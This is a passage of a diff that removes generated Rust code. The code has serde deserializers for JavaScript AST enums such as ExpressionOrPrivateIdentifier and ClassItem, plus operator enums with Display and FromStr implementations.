-                Ok(DeclarationOrExpression::Expression(Expression::ThisExpression(node)))
-            }
-            __DeclarationOrExpressionTag::UnaryExpression => {
-                let node: Box<UnaryExpression> = <Box<
-                    UnaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::UnaryExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::UpdateExpression => {
-                let node: Box<UpdateExpression> = <Box<
-                    UpdateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::UpdateExpression(node),
-                    ),
-                )
-            }
-            __DeclarationOrExpressionTag::YieldExpression => {
-                let node: Box<YieldExpression> = <Box<
-                    YieldExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    DeclarationOrExpression::Expression(
-                        Expression::YieldExpression(node),
-                    ),
-                )
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum ClassItem {
-    ClassPrivateProperty(Box<ClassPrivateProperty>),
-    ClassProperty(Box<ClassProperty>),
-    MethodDefinition(Box<MethodDefinition>),
-    StaticBlock(Box<StaticBlock>),
-}
-#[derive(Deserialize, Debug)]
-enum __ClassItemTag {
-    MethodDefinition,
-    ClassProperty,
-    ClassPrivateProperty,
-    StaticBlock,
-}
-impl<'de> serde::Deserialize<'de> for ClassItem {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __ClassItemTag,
-            >::new("type", "ClassItem"),
-        )?;
-        match tagged.0 {
-            __ClassItemTag::MethodDefinition => {
-                let node: Box<MethodDefinition> = <Box<
-                    MethodDefinition,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ClassItem::MethodDefinition(node))
-            }
-            __ClassItemTag::ClassProperty => {
-                let node: Box<ClassProperty> = <Box<
-                    ClassProperty,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ClassItem::ClassProperty(node))
-            }
-            __ClassItemTag::ClassPrivateProperty => {
-                let node: Box<ClassPrivateProperty> = <Box<
-                    ClassPrivateProperty,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ClassItem::ClassPrivateProperty(node))
-            }
-            __ClassItemTag::StaticBlock => {
-                let node: Box<StaticBlock> = <Box<
-                    StaticBlock,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ClassItem::StaticBlock(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum ExpressionOrPrivateIdentifier {
-    Expression(Expression),
-    PrivateIdentifier(Box<PrivateIdentifier>),
-    PrivateName(Box<PrivateName>),
-}
-#[derive(Deserialize, Debug)]
-enum __ExpressionOrPrivateIdentifierTag {
-    ArrayExpression,
-    ArrowFunctionExpression,
-    AssignmentExpression,
-    AwaitExpression,
-    BinaryExpression,
-    BooleanLiteral,
-    CallExpression,
-    ChainExpression,
-    ClassExpression,
-    ConditionalExpression,
-    CoverTypedIdentifier,
-    FunctionExpression,
-    Identifier,
-    ImportExpression,
-    JSXElement,
-    JSXFragment,
-    Literal,
-    LogicalExpression,
-    MemberExpression,
-    MetaProperty,
-    NewExpression,
-    NullLiteral,
-    NumericLiteral,
-    ObjectExpression,
-    OptionalCallExpression,
-    OptionalMemberExpression,
-    RegExpLiteral,
-    SequenceExpression,
-    StringLiteral,
-    TaggedTemplateExpression,
-    TemplateLiteral,
-    ThisExpression,
-    UnaryExpression,
-    UpdateExpression,
-    YieldExpression,
-    PrivateIdentifier,
-    PrivateName,
-}
-impl<'de> serde::Deserialize<'de> for ExpressionOrPrivateIdentifier {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __ExpressionOrPrivateIdentifierTag,
-            >::new("type", "ExpressionOrPrivateIdentifier"),
-        )?;
-        match tagged.0 {
-            __ExpressionOrPrivateIdentifierTag::ArrayExpression => {
-                let node: Box<ArrayExpression> = <Box<
-                    ArrayExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::ArrayExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::ArrowFunctionExpression => {
-                let node: Box<ArrowFunctionExpression> = <Box<
-                    ArrowFunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::ArrowFunctionExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::AssignmentExpression => {
-                let node: Box<AssignmentExpression> = <Box<
-                    AssignmentExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::AssignmentExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::AwaitExpression => {
-                let node: Box<AwaitExpression> = <Box<
-                    AwaitExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::AwaitExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::BinaryExpression => {
-                let node: Box<BinaryExpression> = <Box<
-                    BinaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::BinaryExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::BooleanLiteral => {
-                let node: Box<BooleanLiteral> = <Box<
-                    BooleanLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::BooleanLiteral(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::CallExpression => {
-                let node: Box<CallExpression> = <Box<
-                    CallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::CallExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::ChainExpression => {
-                let node: Box<ChainExpression> = <Box<
-                    ChainExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::ChainExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::ClassExpression => {
-                let node: Box<ClassExpression> = <Box<
-                    ClassExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::ClassExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::ConditionalExpression => {
-                let node: Box<ConditionalExpression> = <Box<
-                    ConditionalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::ConditionalExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::CoverTypedIdentifier => {
-                let node: Box<CoverTypedIdentifier> = <Box<
-                    CoverTypedIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::CoverTypedIdentifier(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::FunctionExpression => {
-                let node: Box<FunctionExpression> = <Box<
-                    FunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::FunctionExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::Identifier => {
-                let node: Box<Identifier> = <Box<
-                    Identifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::Identifier(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::ImportExpression => {
-                let node: Box<ImportExpression> = <Box<
-                    ImportExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::ImportExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::JSXElement => {
-                let node: Box<JSXElement> = <Box<
-                    JSXElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::JSXElement(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::JSXFragment => {
-                let node: Box<JSXFragment> = <Box<
-                    JSXFragment,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::JSXFragment(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::Literal => {
-                let node: Box<Literal> = <Box<
-                    Literal,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrPrivateIdentifier::Expression(Expression::Literal(node)))
-            }
-            __ExpressionOrPrivateIdentifierTag::LogicalExpression => {
-                let node: Box<LogicalExpression> = <Box<
-                    LogicalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::LogicalExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::MemberExpression => {
-                let node: Box<MemberExpression> = <Box<
-                    MemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::MemberExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::MetaProperty => {
-                let node: Box<MetaProperty> = <Box<
-                    MetaProperty,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::MetaProperty(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::NewExpression => {
-                let node: Box<NewExpression> = <Box<
-                    NewExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::NewExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::NullLiteral => {
-                let node: Box<NullLiteral> = <Box<
-                    NullLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::NullLiteral(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::NumericLiteral => {
-                let node: Box<NumericLiteral> = <Box<
-                    NumericLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::NumericLiteral(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::ObjectExpression => {
-                let node: Box<ObjectExpression> = <Box<
-                    ObjectExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::ObjectExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::OptionalCallExpression => {
-                let node: Box<OptionalCallExpression> = <Box<
-                    OptionalCallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::OptionalCallExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::OptionalMemberExpression => {
-                let node: Box<OptionalMemberExpression> = <Box<
-                    OptionalMemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::OptionalMemberExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::RegExpLiteral => {
-                let node: Box<RegExpLiteral> = <Box<
-                    RegExpLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::RegExpLiteral(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::SequenceExpression => {
-                let node: Box<SequenceExpression> = <Box<
-                    SequenceExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::SequenceExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::StringLiteral => {
-                let node: Box<StringLiteral> = <Box<
-                    StringLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::StringLiteral(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::TaggedTemplateExpression => {
-                let node: Box<TaggedTemplateExpression> = <Box<
-                    TaggedTemplateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::TaggedTemplateExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::TemplateLiteral => {
-                let node: Box<TemplateLiteral> = <Box<
-                    TemplateLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::TemplateLiteral(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::ThisExpression => {
-                let node: Box<ThisExpression> = <Box<
-                    ThisExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::ThisExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::UnaryExpression => {
-                let node: Box<UnaryExpression> = <Box<
-                    UnaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::UnaryExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::UpdateExpression => {
-                let node: Box<UpdateExpression> = <Box<
-                    UpdateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::UpdateExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::YieldExpression => {
-                let node: Box<YieldExpression> = <Box<
-                    YieldExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrPrivateIdentifier::Expression(
-                        Expression::YieldExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrPrivateIdentifierTag::PrivateIdentifier => {
-                let node: Box<PrivateIdentifier> = <Box<
-                    PrivateIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrPrivateIdentifier::PrivateIdentifier(node))
-            }
-            __ExpressionOrPrivateIdentifierTag::PrivateName => {
-                let node: Box<PrivateName> = <Box<
-                    PrivateName,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrPrivateIdentifier::PrivateName(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum TypeAnnotation {
-    TSTypeAnnotation(Box<TSTypeAnnotation>),
-}
-#[derive(Deserialize, Debug)]
-enum __TypeAnnotationTag {
-    TSTypeAnnotation,
-}
-impl<'de> serde::Deserialize<'de> for TypeAnnotation {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __TypeAnnotationTag,
-            >::new("type", "TypeAnnotation"),
-        )?;
-        match tagged.0 {
-            __TypeAnnotationTag::TSTypeAnnotation => {
-                let node: Box<TSTypeAnnotation> = <Box<
-                    TSTypeAnnotation,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(TypeAnnotation::TSTypeAnnotation(node))
-            }
-        }
-    }
-}
-#[derive(
-    Serialize,
-    Deserialize,
-    Clone,
-    Copy,
-    Eq,
-    PartialEq,
-    Ord,
-    PartialOrd,
-    Hash,
-    Debug
-)]
-pub enum VariableDeclarationKind {
-    /// const
-    #[serde(rename = "const")]
-    Const,
-    /// let
-    #[serde(rename = "let")]
-    Let,
-    /// var
-    #[serde(rename = "var")]
-    Var,
-}
-impl std::fmt::Display for VariableDeclarationKind {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        let name = match self {
-            Self::Const => "const",
-            Self::Let => "let",
-            Self::Var => "var",
-        };
-        f.write_str(name)
-    }
-}
-impl std::str::FromStr for VariableDeclarationKind {
-    type Err = ();
-    fn from_str(s: &str) -> Result<Self, Self::Err> {
-        match s {
-            "const" => Ok(Self::Const),
-            "let" => Ok(Self::Let),
-            "var" => Ok(Self::Var),
-            _ => Err(()),
-        }
-    }
-}
-#[derive(
-    Serialize,
-    Deserialize,
-    Clone,
-    Copy,
-    Eq,
-    PartialEq,
-    Ord,
-    PartialOrd,
-    Hash,
-    Debug
-)]
-pub enum PropertyKind {
-    /// get
-    #[serde(rename = "get")]
-    Get,
-    /// init
-    #[serde(rename = "init")]
-    Init,
-    /// set
-    #[serde(rename = "set")]
-    Set,
-}
-impl std::fmt::Display for PropertyKind {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        let name = match self {
-            Self::Get => "get",
-            Self::Init => "init",
-            Self::Set => "set",
-        };
-        f.write_str(name)
-    }
-}
-impl std::str::FromStr for PropertyKind {
-    type Err = ();
-    fn from_str(s: &str) -> Result<Self, Self::Err> {
-        match s {
-            "get" => Ok(Self::Get),
-            "init" => Ok(Self::Init),
-            "set" => Ok(Self::Set),
-            _ => Err(()),
-        }
-    }
-}
-#[derive(
-    Serialize,
-    Deserialize,
-    Clone,
-    Copy,
-    Eq,
-    PartialEq,
-    Ord,
-    PartialOrd,
-    Hash,
-    Debug
-)]
-pub enum UnaryOperator {
-    /// delete
-    #[serde(rename = "delete")]
-    Delete,
-    /// -
-    #[serde(rename = "-")]
-    Minus,
-    /// !
-    #[serde(rename = "!")]
-    Negation,
-    /// +
-    #[serde(rename = "+")]
-    Plus,
-    /// ~
-    #[serde(rename = "~")]
-    Tilde,
-    /// typeof
-    #[serde(rename = "typeof")]
-    Typeof,
-    /// void
-    #[serde(rename = "void")]
-    Void,
-}
-impl std::fmt::Display for UnaryOperator {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        let name = match self {
-            Self::Delete => "delete",
-            Self::Minus => "-",
-            Self::Negation => "!",
-            Self::Plus => "+",
-            Self::Tilde => "~",
-            Self::Typeof => "typeof",
-            Self::Void => "void",
-        };
-        f.write_str(name)
-    }
-}
-impl std::str::FromStr for UnaryOperator {
-    type Err = ();
-    fn from_str(s: &str) -> Result<Self, Self::Err> {
-        match s {
-            "delete" => Ok(Self::Delete),
-            "-" => Ok(Self::Minus),
-            "!" => Ok(Self::Negation),
-            "+" => Ok(Self::Plus),
-            "~" => Ok(Self::Tilde),
-            "typeof" => Ok(Self::Typeof),
-            "void" => Ok(Self::Void),
-            _ => Err(()),
-        }
-    }
-}
-#[derive(
-    Serialize,
-    Deserialize,
-    Clone,
-    Copy,
-    Eq,
-    PartialEq,
-    Ord,
-    PartialOrd,
-    Hash,
-    Debug
-)]
-pub enum UpdateOperator {
-    /// --
-    #[serde(rename = "--")]
-    Decrement,
-    /// ++
-    #[serde(rename = "++")]
-    Increment,
-}
-impl std::fmt::Display for UpdateOperator {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        let name = match self {
-            Self::Decrement => "--",
-            Self::Increment => "++",
-        };
-        f.write_str(name)
-    }
-}
-impl std::str::FromStr for UpdateOperator {
-    type Err = ();
-    fn from_str(s: &str) -> Result<Self, Self::Err> {
-        match s {
-            "--" => Ok(Self::Decrement),
-            "++" => Ok(Self::Increment),
-            _ => Err(()),
-        }
-    }
-}
-#[derive(
-    Serialize,
-    Deserialize,
-    Clone,
-    Copy,
-    Eq,
-    PartialEq,
-    Ord,
-    PartialOrd,
-    Hash,
-    Debug
-)]
-pub enum BinaryOperator {
-    /// +
-    #[serde(rename = "+")]
-    Add,
-    /// &
-    #[serde(rename = "&")]
-    BinaryAnd,
-    /// |
-    #[serde(rename = "|")]
-    BinaryOr,
-    /// ^
-    #[serde(rename = "^")]
-    BinaryXor,
-    /// /
-    #[serde(rename = "/")]
-    Divide,
-    /// ==
-    #[serde(rename = "==")]
-    Equals,
-    /// **
-    #[serde(rename = "**")]
-    Exponent,
-    /// >
-    #[serde(rename = ">")]
-    GreaterThan,
-    /// >=
-    #[serde(rename = ">=")]
-    GreaterThanOrEqual,
-    /// in
-    #[serde(rename = "in")]
-    In,
-    /// instanceof
-    #[serde(rename = "instanceof")]
-    Instanceof,
-    /// <
-    #[serde(rename = "<")]
-    LessThan,
-    /// <=
-    #[serde(rename = "<=")]
-    LessThanOrEqual,
-    /// %
-    #[serde(rename = "%")]
-    Modulo,
-    /// *
-    #[serde(rename = "*")]
-    Multiply,
-    /// !=
-    #[serde(rename = "!=")]
-    NotEquals,
-    /// !==
-    #[serde(rename = "!==")]
-    NotStrictEquals,
-    /// <<
-    #[serde(rename = "<<")]
-    ShiftLeft,
-    /// >>
-    #[serde(rename = ">>")]
-    ShiftRight,
-    /// ===
-    #[serde(rename = "===")]
-    StrictEquals,
-    /// -
-    #[serde(rename = "-")]
-    Subtract,
-    /// >>>
-    #[serde(rename = ">>>")]
-    UnsignedShiftRight,
-}
-impl std::fmt::Display for BinaryOperator {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        let name = match self {
-            Self::Add => "+",
-            Self::BinaryAnd => "&",
-            Self::BinaryOr => "|",
-            Self::BinaryXor => "^",
-            Self::Divide => "/",
-            Self::Equals => "==",
-            Self::Exponent => "**",
-            Self::GreaterThan => ">",
-            Self::GreaterThanOrEqual => ">=",
-            Self::In => "in",
-            Self::Instanceof => "instanceof",
-            Self::LessThan => "<",
-            Self::LessThanOrEqual => "<=",
-            Self::Modulo => "%",
-            Self::Multiply => "*",
-            Self::NotEquals => "!=",
-            Self::NotStrictEquals => "!==",
-            Self::ShiftLeft => "<<",
-            Self::ShiftRight => ">>",
-            Self::StrictEquals => "===",
-            Self::Subtract => "-",
-            Self::UnsignedShiftRight => ">>>",
-        };
-        f.write_str(name)
-    }
-}
-impl std::str::FromStr for BinaryOperator {
-    type Err = ();
-    fn from_str(s: &str) -> Result<Self, Self::Err> {
-        match s {
-            "+" => Ok(Self::Add),
-            "&" => Ok(Self::BinaryAnd),
-            "|" => Ok(Self::BinaryOr),
-            "^" => Ok(Self::BinaryXor),
-            "/" => Ok(Self::Divide),
-            "==" => Ok(Self::Equals),
-            "**" => Ok(Self::Exponent),
-            ">" => Ok(Self::GreaterThan),
-            ">=" => Ok(Self::GreaterThanOrEqual),
-            "in" => Ok(Self::In),
-            "instanceof" => Ok(Self::Instanceof),
-            "<" => Ok(Self::LessThan),
-            "<=" => Ok(Self::LessThanOrEqual),
-            "%" => Ok(Self::Modulo),
-            "*" => Ok(Self::Multiply),
-            "!=" => Ok(Self::NotEquals),
-            "!==" => Ok(Self::NotStrictEquals),
-            "<<" => Ok(Self::ShiftLeft),
-            ">>" => Ok(Self::ShiftRight),
-            "===" => Ok(Self::StrictEquals),
-            "-" => Ok(Self::Subtract),
-            ">>>" => Ok(Self::UnsignedShiftRight),
-            _ => Err(()),
-        }
-    }
-}
-#[derive(
-    Serialize,
-    Deserialize,
-    Clone,
-    Copy,
-    Eq,
-    PartialEq,
-    Ord,
-    PartialOrd,
-    Hash,
-    Debug
-)]
-pub enum AssignmentOperator {
-    /// &&=
-    #[serde(rename = "&&=")]
-    AndEquals,
-    /// &=
-    #[serde(rename = "&=")]
-    BinaryAndEquals,
-    /// |=
-    #[serde(rename = "|=")]
-    BinaryOrEquals,
-    /// ^=
-    #[serde(rename = "^=")]
-    BinaryXorEquals,
-    /// /=
-    #[serde(rename = "/=")]
-    DivideEquals,
-    /// =
-    #[serde(rename = "=")]
-    Equals,
-    /// **=
-    #[serde(rename = "**=")]
-    Exponent,
-    /// -=
-    #[serde(rename = "-=")]
-    MinusEquals,
-    /// %=
-    #[serde(rename = "%=")]
-    ModuloEquals,
-    /// *=
-    #[serde(rename = "*=")]
-    MultiplyEquals,
-    /// ??=
-    #[serde(rename = "??=")]
-    NullCoalescingEquals,
-    /// ||=
-    #[serde(rename = "||=")]
-    OrEquals,
-    /// +=
-    #[serde(rename = "+=")]
-    PlusEquals,
-    /// <<=
-    #[serde(rename = "<<=")]
-    ShiftLeftEquals,
-    /// >>=
-    #[serde(rename = ">>=")]
-    ShiftRightEquals,
-    /// >>>=
-    #[serde(rename = ">>>=")]
-    UnsignedShiftRightEquals,
-}
-impl std::fmt::Display for AssignmentOperator {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        let name = match self {
-            Self::AndEquals => "&&=",
-            Self::BinaryAndEquals => "&=",
-            Self::BinaryOrEquals => "|=",
-            Self::BinaryXorEquals => "^=",
-            Self::DivideEquals => "/=",
-            Self::Equals => "=",
-            Self::Exponent => "**=",
-            Self::MinusEquals => "-=",
-            Self::ModuloEquals => "%=",
-            Self::MultiplyEquals => "*=",
-            Self::NullCoalescingEquals => "??=",
-            Self::OrEquals => "||=",
-            Self::PlusEquals => "+=",
-            Self::ShiftLeftEquals => "<<=",
-            Self::ShiftRightEquals => ">>=",
-            Self::UnsignedShiftRightEquals => ">>>=",
-        };
-        f.write_str(name)
-    }
-}
-impl std::str::FromStr for AssignmentOperator {
-    type Err = ();
-    fn from_str(s: &str) -> Result<Self, Self::Err> {
-        match s {
-            "&&=" => Ok(Self::AndEquals),
-            "&=" => Ok(Self::BinaryAndEquals),
-            "|=" => Ok(Self::BinaryOrEquals),
-            "^=" => Ok(Self::BinaryXorEquals),
-            "/=" => Ok(Self::DivideEquals),
-            "=" => Ok(Self::Equals),
-            "**=" => Ok(Self::Exponent),
-            "-=" => Ok(Self::MinusEquals),
-            "%=" => Ok(Self::ModuloEquals),
-            "*=" => Ok(Self::MultiplyEquals),
